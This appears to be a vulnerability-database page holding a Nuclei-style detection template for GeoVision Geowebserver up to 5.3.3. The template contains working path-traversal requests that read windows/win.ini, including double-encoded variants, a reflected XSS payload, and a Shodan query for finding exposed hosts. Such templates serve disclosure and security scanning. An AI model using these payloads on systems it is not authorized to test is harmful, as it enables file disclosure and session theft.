geovision-geowebserver-lfi-xss: GeoVision Geowebserver <= 5.3.3 - Local File Inclusion / Cross-Site Scripting

2025-08-01 GeoVision Geowebserver PoC Public

Description

GEOVISION GEOWEBSERVER <= 5.3.3 is vulnerable to several XSS, HTML Injection, and Local File Include (LFI) vectors. The application fails to properly sanitize user requests, allowing injection of HTML code and XSS, as well as client-side exploitation, including session theft.

PoC

id: geovision-geowebserver-lfi-xss

info:
  name: GeoVision Geowebserver <= 5.3.3 - Local File Inclusion / Cross-Site Scripting
  author: shamo0
  severity: high
  description: |
    GEOVISION GEOWEBSERVER <= 5.3.3 is vulnerable to several XSS, HTML Injection, and Local File Include (LFI) vectors. The application fails to properly sanitize user requests, allowing injection of HTML code and XSS, as well as client-side exploitation, including session theft.
  reference:
    - https://www.geovision.com.tw/cyber_security.php
    - https://www.exploit-db.com/exploits/50211
  classification:
    cwe-id: CWE-80
  metadata:
    verified: true
    max-request: 3
    shodan-query: title:"Geowebserver"
  tags: geovision,geowebserver,lfi,xss,vuln

http:
  - raw:
      - |
        GET /Visitor/bin/WebStrings.srf?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini&obj_name=<script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /Visitor/bin/WebStrings.srf?obj_name=win.ini HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 0

      - |
        GET /Visitor//%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwindows\win.ini HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: or
    matchers:
      - type: dsl
        name: lfi
        dsl:
          - 'contains_all(body, "for 16-bit", "[fonts]", "[extensions]")'
          - 'contains(content_type, "application/octet-stream")'
          - 'status_code == 200'
        condition: and

      - type: dsl
        name: xss
        dsl:
          - 'contains_all(body, "<script>alert(document.domain)</script>={\"AeDebug")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100a16b53a625d9b169c6e33b0753fd23872f7577fe7c2541bf3a7599a897ccf27f02207b3b070c513af9c34b0c8e6b720b03434a4a6e2007433f8dc8749dfa905ea47e:922c64590222798bb761d5b6d8e72950

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